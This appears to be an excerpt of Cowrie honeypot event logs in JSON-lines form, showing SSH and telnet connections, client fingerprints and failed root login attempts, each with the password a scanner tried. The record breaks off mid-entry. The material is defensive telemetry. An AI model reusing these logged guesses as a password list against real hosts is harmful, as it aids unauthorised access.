{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:42.330816Z","src_ip":"94.159.110.201","session":"546192af8405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secret","message":"login attempt [root/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:42.665558Z","src_ip":"94.159.110.201","session":"546192af8405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:43.779983Z","src_ip":"94.159.110.201","session":"546192af8405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":49316,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e932c8dba35","protocol":"ssh","message":"New connection: 20.203.59.187:49316 (10.17.0.5:22) [session: 4e932c8dba35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:50.588866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:50.593930Z","src_ip":"20.203.59.187","session":"4e932c8dba35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:50.751459Z","src_ip":"20.203.59.187","session":"4e932c8dba35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j8LrZjtyudgwUkz","message":"login attempt [root/j8LrZjtyudgwUkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:51.406779Z","src_ip":"20.203.59.187","session":"4e932c8dba35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:52.565990Z","src_ip":"20.203.59.187","session":"4e932c8dba35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":52048,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a61b1d602f","protocol":"ssh","message":"New connection: 171.244.37.97:52048 (159.203.135.109:22) [session: 18a61b1d602f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:52.838807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:52.843797Z","src_ip":"171.244.37.97","session":"18a61b1d602f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:53.091961Z","src_ip":"171.244.37.97","session":"18a61b1d602f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7hur@y@t3am$#@!(*(","message":"login attempt [root/7hur@y@t3am$#@!(*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:54.113941Z","src_ip":"171.244.37.97","session":"18a61b1d602f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:55.365779Z","src_ip":"171.244.37.97","session":"18a61b1d602f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":35588,"dst_ip":"10.17.0.5","dst_port":22,"session":"5228000c6c60","protocol":"ssh","message":"New connection: 43.128.112.183:35588 (10.17.0.5:22) [session: 5228000c6c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:55.990075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:55.994805Z","src_ip":"43.128.112.183","session":"5228000c6c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:56.231228Z","src_ip":"43.128.112.183","session":"5228000c6c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host@1234","message":"login attempt [root/host@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:57.209191Z","src_ip":"43.128.112.183","session":"5228000c6c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55970,"dst_ip":"159.203.135.109","dst_port":22,"session":"21cceb477215","protocol":"ssh","message":"New connection: 62.133.62.83:55970 (159.203.135.109:22) [session: 21cceb477215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:57.698529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:57.703687Z","src_ip":"62.133.62.83","session":"21cceb477215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:57.792718Z","src_ip":"62.133.62.83","session":"21cceb477215","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:58.029579Z","src_ip":"62.133.62.83","session":"21cceb477215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:58.447746Z","src_ip":"43.128.112.183","session":"5228000c6c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":56218,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f0210e5c4a","protocol":"ssh","message":"New connection: 43.153.56.192:56218 (10.17.0.5:22) [session: 36f0210e5c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:59.039002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:59.043404Z","src_ip":"43.153.56.192","session":"36f0210e5c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:59.110181Z","src_ip":"62.133.62.83","session":"21cceb477215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:59.115434Z","src_ip":"43.153.56.192","session":"36f0210e5c4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blondes","message":"login attempt [root/blondes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:59.417459Z","src_ip":"43.153.56.192","session":"36f0210e5c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":43794,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f7ebccccde","protocol":"ssh","message":"New connection: 209.99.190.200:43794 (10.17.0.5:22) [session: 63f7ebccccde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:59.900687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:14:59.909527Z","src_ip":"209.99.190.200","session":"63f7ebccccde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:00.005764Z","src_ip":"209.99.190.200","session":"63f7ebccccde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"george","message":"login attempt [root/george] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:00.446258Z","src_ip":"209.99.190.200","session":"63f7ebccccde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:00.489683Z","src_ip":"43.153.56.192","session":"36f0210e5c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:01.546822Z","src_ip":"209.99.190.200","session":"63f7ebccccde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52444,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc83da80e4e","protocol":"telnet","message":"New connection: 192.119.13.58:52444 (10.17.0.5:23) [session: 4fc83da80e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:08.125506Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":41572,"dst_ip":"159.203.135.109","dst_port":22,"session":"499993392335","protocol":"ssh","message":"New connection: 43.163.81.22:41572 (159.203.135.109:22) [session: 499993392335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:09.090319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:09.096531Z","src_ip":"43.163.81.22","session":"499993392335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:09.346222Z","src_ip":"43.163.81.22","session":"499993392335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"News@123","message":"login attempt [root/News@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:10.361835Z","src_ip":"43.163.81.22","session":"499993392335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:11.612680Z","src_ip":"43.163.81.22","session":"499993392335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":42378,"dst_ip":"10.17.0.5","dst_port":22,"session":"5372fa5e2b65","protocol":"ssh","message":"New connection: 103.173.227.57:42378 (10.17.0.5:22) [session: 5372fa5e2b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:13.414883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:13.421228Z","src_ip":"103.173.227.57","session":"5372fa5e2b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":41038,"dst_ip":"10.17.0.5","dst_port":22,"session":"7505d6b5c232","protocol":"ssh","message":"New connection: 43.153.50.197:41038 (10.17.0.5:22) [session: 7505d6b5c232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:13.426451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:15:13.431256Z","src_ip":"43.153.50.197","session":"7505d6b5c232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffi